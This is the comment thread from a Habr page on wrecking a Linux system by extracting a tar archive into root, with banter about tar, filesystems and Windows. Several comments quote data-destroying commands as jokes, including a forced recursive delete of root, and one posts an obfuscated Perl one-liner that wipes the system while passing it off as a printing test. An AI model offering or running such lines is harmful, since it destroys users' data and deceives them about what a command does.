Как стать автором
Обновить

Как уничтожить вашу ОС с помощью TAR

Уровень сложностиСредний
Время на прочтение12 мин
Количество просмотров21K
Всего голосов 41: ↑33 и ↓8+43
Комментарии97

Комментарии 97

Тупо переписать системные файлы содержимым какого-то чужого архива - разве что-то может пойти не так?

Но виноват tar

Всегда виноват микрософт )))

Микрософт виноват только в том, что идет навстречу пользователям.
Микрософт неуиноуат!

Потому что надо было использовать MC, зайти в архив и нажать F5, а не вот это вот всё

Потому что надо было использовать моск.

PS. распаковывать чужой архив в корень - это уму непостижимо.
А уж делать это рутом... ну... no comments. Это другая вселенная.

Это он ещё известную строчку на Perl не запускал с sudo. Ждём статью через пару месяцев?

С намеком на поиск той самой строчки... И восстановление системы? 😉😉

Но... это лишь перевод..... Вряд-ли переводчик свяжется с автором

Вряд-ли переводчик свяжется с автором

Вот только на это надежда и остаётся. И то, сами понимаете, статья об очередном героическом восстановлении системы сама себя не напишет!

В этом и вся печаль происходящего... Практически исчезла преемственность. Те, кто в теме, почти не пишут - "новичкам" не с кем "посоветоваться"; а другие - "переводчики" гугл или гпт.... и не понять что же лучше.....

Ну Хабр погребён под горами спама, если честно. К примеру, статью без развитой содержательной дискуссии сейчас открывать просто бессмысленно - это будет какая-то стандартная нейросетевая жвачка. Посмотрите, кстати, сколько статей в общей ленте без комментариев под ними.

Поэтому и писать какой-то текст "в стол" совершенно не хочется. Ну невозможно себя заставить, хотя какие-то темы есть.

Так файлы-то он не переписывал...

В архиве может что угодно оказаться. tar'у все равно что переписывать.

Но ведь он посмотрел содержимое и его структуру

Если бы я увидел, что архив будет переписывать что-то в /usr/bin, я бы для начала так не делал. Разве что внутри 3 файла, и мне не лень будет посмотреть на каждый. И то я бы так не делал.

А в чём разница-то, блин - три там файла или семь, если все они новые для вашей системы?

3 файла - легко посмотреть что они новые. 33 - не очень легко. Даже если новые - легко можно вместо своих coreutils (лежат в /bin) притащить чужие (в /usr/bin - для этого каталога они новые) и феерично что-нибудь сломать.
В любом случае, в /usr/bin пишет package manager, не надо ему мешать.

В данном случае у всех файлов один и тот же префикс, xbps-*
И этот префикс уникальный.

Что же до package manager, то именно он в архиве и лежал.

Что же до package manager, то именно он в архиве и лежал.

Он же должен бороться со злом, а не примыкать к нему!

Идеология Linux:

  1. Хозяин знает что делает.

  2. Хозяин всегда прав.

  3. Если хозяин неправ - смотри пункт 1.

Да? Поэтому дистрибутивы сейчас повально либо отказываются ставить пароль на root вообще, либо не принимают root/root?

sudo passwd root
и все ставится

Ага. А если это потребует пересборки ядра, вы начнете говорить "ну просто применяете вот этот патч и все ставится"?

А если это потребует пересборки ядра

WTF?

Чессе...
1. Вам надо собирать ядро (вот просто критично без этого никак)
2. Вы это делаете под рутом
3. И устанавливаете его на свою собственную машину
4. И так каждый день
Всё верно?

Что? Я про другое. Я спорю с "Хозяин знает что делает. Хозяин всегда прав".

Современные дистрибутивы линукса держат меня за дурака, который не знает, как ему выбрать пароль рута или пользователя, например. По моей логике, если я хочу root/root поставить, то я учел риски. Нет, нельзя такой пароль, нет, смени его при следующей загрузке, нет, нельзя вообще логиниться в рута, используй судо, нет, нельзя по ssh рутом заходить, заходи обычным пользователем... Безусловно, все можно настроить, но это никак не "Хозяин знает что делает".

И вот я возражаю против этого тезиса, и мне отвечают "ну просто sudo passwd root же". Ага, сначала меня держат за дурака, а потом, если я знаю волшебную команду, наконец-то соглашаются что я не совсем дурак. А можно при установке сразу мне мозги не делать по поводу моего выбора пароля?

Вот я и спрашиваю — а если завтра ограничение на пароли добавят в ядро, вы тоже будете говорить "ну ты просто примени патч и пересобери ядро, чего такого" или все-таки согласитесь что современные дистрибутивы уже отошли от "Хозяин знает что делает. Хозяин всегда прав" и ориентируются на домохозяек?

Безусловно, все можно настроить, но это никак не "Хозяин знает что делает".

Хозяин не знает, как задать пароль root? Таки да, хозяин не знает, что делает и зачем оно ему надо.

а если завтра ограничение на пароли добавят в ядро

Точно не знает.

ориентируются на домохозяек?

На хозяев, которые не только man pam не читают, но и даже google://how to login with root не желают.

А вы сейчас с кем, простите, общались?

Ждем серию статей, как уничтожить вашу ОС командой cp, mv, echo >, и конечно rm -rf

Зумеры открывают мир заново, со всеми его граблями :-)

НЛО прилетело и опубликовало эту надпись здесь

Последние разы format c: не работал, а вот hd_speed.exe->Write->Start->destroydata легко тер системный диск по секторам и я так несколько раз системный диск тестовой машинки вместо проверяемого стер но было это еще до Win 7.

Открываю я FAR, там слева диск C: и справа диск C:. Ну, я подумал, зачем мне два диска C: и правый форматнул!

Не форматнул, а удалил (т.е. потёр все файлы и папки). Всё-таки анекдот рассказывается от лица полного чайника, откуда бы он про форматирование вообще узнал?

И не FAR, а "Нортон" (NC), анекдот-то явно про те времена, когда этот самый NC был вершиной системного UI, и другой информации о количестве дисков C пользователю взять было неоткуда.

НЛО прилетело и опубликовало эту надпись здесь

Да, "Волков" тоже для анекдота сойдёт, как и DN.

Что же до экономии, то в анекдоте упоминается именно диск C, а не диск A, так что жёсткий диск явно был, как и место на нём. Юзер явно купил компьютер с предустановленным MS-DOS и предустановленным же NC, после чего угробил его в первую же минуту использования.

Я так в первый раз BIOS зашел в детстве, и от туда сделал низкоуровневое форматирование. Звонил друзьям с рассказом "Я что-то в биос нажал, а там циферки побежали и все пропало"

НЛО прилетело и опубликовало эту надпись здесь

В оригинале было: - Папа, папа а что означает "format c: complete" ?

p.s. не надо обзываться специалистами по Линуксу. мы дос еще помним и не только.

НЛО прилетело и опубликовало эту надпись здесь

Новое поколение не помнит патч Бармина?

Разработчики десктоп-приложения Яндекс Диска могут рассказать, как одним из обновлений грохнули ОС у пользователей. Потом подарили по 200 гигабайт.

rm -rf

Зачем так грубо? Достаточно грохнуть всего один файл libc-X.Y.so

просто так не даст запустить, из-за шутников теперь надо делать так:

sudo rm -rf --no-preserve-root /

Проверено временем и странствиями:

tar xJpf stage3-amd64-openrc-.tar.xz --xattrs-include='*.*' --numeric-owner -C /mnt/gentoo

XBPS Package Manager собран в Fedora
https://fedora.pkgs.org/40/rpm-sphere-x86_64/xbps-0.51-7.1.x86_64.rpm.html
https://fedora.pkgs.org/39/rpm-sphere-x86_64/xbps-0.51-7.1.x86_64.rpm.html
https://github.com/void-linux/xbps
Installation via chroot (x86/x86_64/aarch64)
https://docs.voidlinux.org/installation/guides/chroot.html

А вы способны это повторить без гугла?

"Это" у меня развернуто лет 8 назад на одном из ноутов. Надо просто читать Handbook:
https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Stage
Аналогично по Voidlinux:
https://docs.voidlinux.org/installation/guides/chroot.html

sudo mkdir /mnt/void
wget https://repo-default.voidlinux.org/live/current/void-x86_64-ROOTFS-20240314.tar.xz
или
wget https://repo-default.voidlinux.org/live/current/void-x86_64-musl-ROOTFS-20240314.tar.xz
sudo tar xJpf void-x86_64-ROOTFS-20240314.tar.xz --xattrs-include='*.*' --numeric-owner -C /mnt/void
sudo systemd-nspawn -D /mnt/void -M "voidlinux" --bind-ro="/etc/resolv.conf"

это капец, товарищи.

Пару опций tar я, конечно, повторил, дело полезное, но в целом... Что это? Капитан Очевидный на тренировке?

Я несколько раз перечитывал начало, пытался понять, может, чел всё-таки сделал сначала chroot, и потом что-то сломалось? Нет, реально распаковывал архив в корень, и решил поведать об этом миру.

Но грабли и правда неожиданные. От распаковки архива как-то ожидаешь затёртых файлов (в худшем случае), а не сломанного корневого каталога.

Ну, я вот в Linux не то, чтобы опытный пользователь. Я не ожидал, что при распаковке будут заменены и каталоги.

Нет, если вдуматься, то это логично: ведь если файл уже существует в файловой системе, то он будет заменён, так что с каталогом происходит ровно то же самое - существующий каталог будет заменён распаковываем, а распаковываемый тащит с собой и все атрибуты. Но как-то это контринтуитивно.

Нужно не на интуицию полагаться, а мануалы читать :)

Есть еще такой "принцип наименьшего удивления" , но это скорее надо адресовать разработчикам tar. Смысл простой, но есть в нем одна заковырка: то, что кажется очевидным одним людям (разработчики), совсем не очевидно другим (пользователи) и наоборот. Во времени тоже очевидность того или иного поведения меняется. А tar - проект с долгой историей. Так что да, только маны курить...

Ну почему же, неужели никого не учили в школе, что каталог — это файл особого вида, поэтому невозможно создать файл и каталог с одинаковым именем?
На современных ФС, понятно, это уже не так — но семантика и поведение уже зафиксированы, и сломать их значит сломать совместимость

На современных ФС, понятно, это уже не так

То есть не так?

На NTFS, например, каталогов, как таковых, нет — есть индексы, и это совсем не то же самое. Да и вместо поименованного куска информации — группа потоков, среди которых основной поток данных может и отсутствовать.
У ZFS в основе вообще дерево блоков, а каталог и файл — понятия семантические, и плавают где-то там совсем сверху, над пугающей реальностью.
Где-то близко к ZFS и остальные CoW/Log-structured/log-based/etc
Разве что старички вроде ext4/xfs/ufs более-менее остаются близки к старым реализациям

А с чего это ext4 старичок? Ему не так много лет.
В ZFS собственно каталог и файл - одинаковы по принципу хранения, как и все POSIX системы, что файл, что каталог хранятся в блоках, и могут быть фрагментированы, отличаются метаинфорацией.

А с чего нет-то? Это очередной фейслифтинг ФС чуть ли не полувековой давности.

В ZFS по принципу хранения каталог и файл — ссылки на состояние части AVL-дерева

Разве стандарт POSIX как-то регламентирует способы хранения данных?

А с чего нет-то? Это очередной фейслифтинг ФС чуть ли не полувековой давности.

То есть НТФС, которому 30+, это новичок?

В ней, как бы, даже прямо это написано: New Technolodgy File System.
Да и ZFS не сильно младше, так-то — даже в самых ортодоксальных штатах ей можно пить и голосовать.

Если вам нравится прикапываться к буквам, а не к смыслу — то у вас, кажется, уже год не отвечен вопрос: каким таким макаром файл базы данных разбирает формат исполняемого файла, и, тем более, делает это до своей собственной загрузки.

Ну так Windows NT - New Technology, для которой и писалась NTFS, это же 1993 год. Грубо говоря только-только Линукс появился, так что плюс-минус год, NTFS родсвтенница EXT, которую вы же обозвали старичком :)


Где это у меня вопрос про базы данных, и что значит до своей загрузки? Может меня с кем-то путаете?
В Линукс формат исполняемого файла определяется по сигнатуре, ее разбирает сама операционка, когда видит +x аттрибут на файле

https://en.wikipedia.org/wiki/Extended_file_system
Как видно, это был фейслифтинг старых принципов уже тогда. Ну и сравнимого набора фич с NTFS она достигла, таки, сильно позже, в эпоху поздних патчей к ext3.

Реестр, ядро NT и экзешники ) Хотя, этот может и путать — любителей поспорить на пустом месте, таки, немало.

Формат файла в любой ОС определяется по сигнатурам, когда речь заходит об исполняемом файле. Исключения вымерли еще во времена DOS

В Windows попытка выполнить файл привязана к расширению, и следовательно файл выполняеться только в том случае, если расширение соответствует одному из видов исполняемого файла. В противном случае будет пытаться выполнить ассоциативную программу.

Попробуйте выполнить readme.txt, потом переименовать его в .exe и выполнить. Сперва ассоциация, затем уже разбор сигнатуры в случае exe/com/dll/etc.

Только что попробовал - программа успешно запустилась.

Разумеется, запускал её я через CreateProcess, а не ShellExecute.

А чтобы запустился CreateProcess, кто должен его вызвать?
Или у вас пользователь взаимодействует с ОС не через оболочку, а исключительно сразу методами?

А у вас запускать программы может только пользователь? Одна программа не может запустить другую*

вообще-то да, программы запускает пользователь.

Из процесса, целенаправленно, вы можете делать что угодно, но через CreateProcess, наверное не получится открыть jpeg.

Вы себе придумали свой уровень детализации, и считаете что именно с него нужно все рассматривать, но рассматривать кусочек функционала ОС, я считаю некорректно.
Работа с ассоциациями в Виндовс - штатная, в отличие от Линукс, где без gui ассоациаций в принципе нет

Где проводник — и где ядро, блин. У вас же, вроде вменяемый технический уровень… был по крайней мере.

А когда начнут писать статьи на тему "как уничтожить ваш компьютер при помощи молотка"?
И выкладывать рецепты вида "чтобы не ваш компьютер не оказался уничтоженным при помощи молотка - то не бейте по компьютеру молотком"?

как уничтожить ваш компьютер при помощи молотка

...— А зачем тогда ноутбук?
— Ну какой же ты хакер без ноутбука?

Не печатает

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

`'cat' is not recognized as an internal or external command, operable program or batch file`. ЧЯДНТ?

Потому что на Винде это не работает.

Но там же есть WSL?

Начиная с coreutils 5.1.0 (примерно 2004 год) для корректной работы в этой строке не хватает * перед второй {. Или, в более явной форме, строки |}}./}:<%=%<@%}<//> после &.

Это IT-ресурс или пикабу? Что ЭТО делает на главной? 😂

Привыкайте

Наверное все же поэтому Windows более популярен в десктоп сегменте чем Linux, которые так и остался уделом "тип:сисадмин"

Тут скорее виновата не "сложность" десктопа на никсах, а невероятный зоопарк всего, что можно, путающий пользователей.

Ну а если двигать в сторону кастомизации внешки (особенно это касается гнома с его зоопарком из gtk2+gtk3+gtk4+libadwaita внутри одного окружения рабочего стола) - то все становится еще более печально для "обывателя".

Догадаться распаковать тарболл себе в корень — тоже еще надо… Тем более, что было видно, что он содержит отнюдь не /opt/bundle.name

А чем принципиально отличается префикс /usr/bin/xbps- от /opt/bundle.name/? Что тот, что другой уникальны и ни с чем не конфликтуют.

Опять же, где ещё кроме /usr/bin должен лежать новый менеджер пакетов? (ну, если оставить за скобками саму идею ставить на живую систему новый менеджер пакетов)

Этот вопрос надо переформулировать так: чем несуществующий /opt/bundle.name отличается от существующего /usr/bin.
А заодно вспомнить, чем make install отличается от pkcon install, и оба они от curlbash, а все трое — от извлечения неизвестных архивов в корень.

Если он не предусмотрен авторами и мейнтейнерами дистрибутива — то сперва на виртуалке или в контейнере, а никак не на хосте наживую.

Префикс /usr/bin/xbps- такой же несуществующий. И вообще, вы так пишете, как будто /opt/bundle.name не сломал бы корневой каталог.

Вы понимаете разницу между префиксом, который просто строка, и каталогом в ФС?
Все постэффекты случились именно из-за этих отличий.

Ничто не должно извлекаться в корень. Ни-ког-да.
Dixi

Все постэффекты случились из-за распаковки в корень. Нет никакой разницы что там лежало в архиве - распаковка в корень с ключом -p положила бы систему в любом случае.

Это все равно что поправлять пальцами заготовку в циркулярной пиле. Даже если уверены, что все ок, и 1000 раз так делали. Если повезет - останетесь с пальцами, да.

Формально вы правы.
Практически, в том, к чему вы решили прикопаться, речь была немного о другом. О том, что если распаковку в /opt/bundle.name еще можно списать на подумал, то распаковка в корень — ССЗБ.

И после всего этого испано-валлийского диалекта мне поставили минус за то, что ответ был очевиден и все нижеследующие рассуждения только подтвердили его? ))

Один единственный минус - это погрешность. К примеру, я периодически случайно ставлю минусы когда пытаюсь поставить плюс с телефона (и наоборот), или вообще при попытке прокрутить страницу. А вот если жаловаться на минусы - можно собрать их куда больше.

Ваша мысль не слишком ясна. Но этот подозревает, что или в вашей системе координат люди, отключающие антивирус, чтобы запустить вложение имеют тип:сисадмин, как вы выразились, или одно из двух.

В моей системе координат, большинство людей даже не знают как отключить антивирус. Насколько сложно для среднестатистической работающей полу-домохозяйке будет подключить или отключить флешку если что-то пойдет не так в Линуксе? Или скажем установить программу которая нужна, и которая только для Windows без вызова знакомого шамана Linux? Да который ещё и не настолько шаман, что может накосячить так, как это было указано в статье

большинство людей даже не знают как отключить антивирус

Именно

Насколько сложно для среднестатистической работающей полу-домохозяйке будет подключить или отключить флешку если что-то пойдет не так в Линуксе?

А насколько сложно ей будет сделать то же самое с WinRE?
Загрузится со снепшота и никому не будет делать мозг, современные системы это уже лет 14 как умеют, OpenSuSe это показывала примерно тогда же.

Или скажем установить программу которая нужна, и которая только для Windows без вызова знакомого шамана Linux?

На телефоне и на маке же как-то обходится эта ваша домохозяйка без супернужной виндовой программы. Ну вот и.

Да который ещё и не настолько шаман, что может накосячить так, как это было указано в статье

Как будто виндовых шаманов мало: годы идут, а эти все так же то фотки и документы убьют, то драйвера кривые вкрячат насильно, то говносборку установят

Опять же, где ещё кроме /usr/bin должен лежать новый менеджер пакетов?

man hier штоли
/usr/local/bin Binaries for programs local to the site

Или даже в ~/.local/bin, если уж прямо горит распаковать бинарники мимо пакетного менеджера

Я даже не знаю, в каких ситуациях, кроме сборки дистра с нуля и починки гроба нужно лезть в корень и что-то там делать. По-крайней мере - на личном опыте не приходилось сталкиваться. Возможно это привычка из окошек, но даже там с правами локального админа не везде можно влезть и записать\удалить что-то

с правами локального админа не везде можно влезть и записать\удалить что-то

зачем-мне-два-диска-ц.тхт - похоже, эта история кого-то чему-то таки научила ;)

Зарегистрируйтесь на Хабре, чтобы оставить комментарий